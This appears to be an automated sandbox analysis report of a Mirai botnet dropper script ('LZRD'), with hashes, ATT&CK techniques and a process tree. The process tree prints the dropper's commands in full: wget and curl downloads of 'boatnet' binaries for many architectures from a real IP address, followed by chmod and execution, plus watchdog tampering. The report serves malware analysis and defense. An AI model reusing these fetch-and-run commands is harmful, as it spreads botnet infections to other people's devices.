mirai | e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
18-12-2024 07:21

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General

Target

e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh
Size

2KB
MD5

14099ca3ba60ee276a8d96c4b47cd58f
SHA1

d46e02797df3f7be4bf440003b2296ffe8992451
SHA256

e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5
SHA512

249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1569	chmod
1629	chmod
1645	chmod
1541	chmod
1555	chmod
1591	chmod
1637	chmod
1533	chmod
1579	chmod
1653	chmod
1517	chmod
1525	chmod
1611	chmod
1621	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1510	WTF
/tmp/WTF	1518	WTF
/tmp/WTF	1526	WTF
/tmp/WTF	1534	WTF
/tmp/WTF	1542	WTF
/tmp/WTF	1556	WTF
/tmp/WTF	1570	WTF
/tmp/WTF	1580	WTF
/tmp/WTF	1592	WTF
/tmp/WTF	1612	WTF
/tmp/WTF	1622	WTF
/tmp/WTF	1630	WTF
/tmp/WTF	1638	WTF
/tmp/WTF	1646	WTF
/tmp/WTF	1654	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/518/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/1488/cmdline	WTF
File opened for reading	/proc/1496/cmdline	WTF
File opened for reading	/proc/1581/cmdline	WTF
File opened for reading	/proc/516/cmdline	WTF
File opened for reading	/proc/1631/cmdline	WTF
File opened for reading	/proc/1581/cmdline	WTF
File opened for reading	/proc/1615/cmdline	WTF
File opened for reading	/proc/1655/cmdline	WTF
File opened for reading	/proc/1305/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/1196/cmdline	WTF
File opened for reading	/proc/1537/cmdline	WTF
File opened for reading	/proc/1521/cmdline	WTF
File opened for reading	/proc/1241/cmdline	WTF
File opened for reading	/proc/1109/cmdline	WTF
File opened for reading	/proc/1135/cmdline	WTF
File opened for reading	/proc/1647/cmdline	WTF
File opened for reading	/proc/1268/cmdline	WTF
File opened for reading	/proc/953/cmdline	WTF
File opened for reading	/proc/1268/cmdline	WTF
File opened for reading	/proc/1376/cmdline	WTF
File opened for reading	/proc/1521/cmdline	WTF
File opened for reading	/proc/1193/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/1167/cmdline	WTF
File opened for reading	/proc/1647/cmdline	WTF
File opened for reading	/proc/1078/cmdline	WTF
File opened for reading	/proc/562/cmdline	WTF
File opened for reading	/proc/1581/cmdline	WTF
File opened for reading	/proc/1086/cmdline	WTF
File opened for reading	/proc/586/cmdline	WTF
File opened for reading	/proc/1062/cmdline	WTF
File opened for reading	/proc/1571/cmdline	WTF
File opened for reading	/proc/1633/cmdline	WTF
File opened for reading	/proc/1066/cmdline	WTF
File opened for reading	/proc/1163/cmdline	WTF
File opened for reading	/proc/1066/cmdline	WTF
File opened for reading	/proc/1252/cmdline	WTF
File opened for reading	/proc/1357/cmdline	WTF
File opened for reading	/proc/1571/cmdline	WTF
File opened for reading	/proc/1288/cmdline	WTF
File opened for reading	/proc/516/cmdline	WTF
File opened for reading	/proc/1144/cmdline	WTF
File opened for reading	/proc/499/cmdline	WTF
File opened for reading	/proc/586/cmdline	WTF
File opened for reading	/proc/1062/cmdline	WTF
File opened for reading	/proc/1581/cmdline	WTF
File opened for reading	/proc/1148/cmdline	WTF
File opened for reading	/proc/715/cmdline	WTF
File opened for reading	/proc/1583/cmdline	WTF
File opened for reading	/proc/1127/cmdline	WTF
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/551/cmdline	WTF
File opened for reading	/proc/1473/cmdline	WTF
File opened for reading	/proc/1657/cmdline	WTF
File opened for reading	/proc/586/cmdline	WTF
File opened for reading	/proc/644/cmdline	WTF
File opened for reading	/proc/1099/cmdline	WTF
File opened for reading	/proc/1583/cmdline	WTF
File opened for reading	/proc/969/cmdline	WTF
File opened for reading	/proc/633/cmdline	WTF
File opened for reading	/proc/1496/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1514	wget
1515	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/WTF	e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.x86	wget

/tmp/e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh
/tmp/e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh
1⤵
- Writes file to tmp directory
PID:1493
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1508
- /bin/chmod
  chmod +x boatnet.x86 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1510
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1518
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  PID:1526
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.i468
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1534
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.i686
  2⤵
  PID:1538
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-tkmHeq systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1542
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.x86_64
  2⤵
  PID:1546
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-9MDzHG systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1556
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1560
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-1cIGqG systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1570
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1574
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1580
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1584
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-58zSkN systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1592
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1596
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-bolt.service-r9S7vl systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1612
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1616
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1622
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1626
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1629
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1630
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1634
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1635
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1638
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1642
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1646
- /usr/bin/wget
  wget http://147.45.125.26/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1650
- /usr/bin/curl
  curl -O http://147.45.125.26/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1651
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-gACG2o e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5.sh netplan_4tig9c16 snap-private-tmp ssh-zntWNVcxk98c systemd-private-3e892b2e10504022a70d94fecf5dc4e7-colord.service-deBSYp systemd-private-3e892b2e10504022a70d94fecf5dc4e7-ModemManager.service-t5VM7n systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-resolved.service-nHmr6O systemd-private-3e892b2e10504022a70d94fecf5dc4e7-systemd-timedated.service-nsIZC1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1653
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1654

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
e91063f55319252533dd4b79524515e8

SHA1
f6d254d0a708dd18917a3db48eec8b27fd2c7526

SHA256
81a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603

SHA512
ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5

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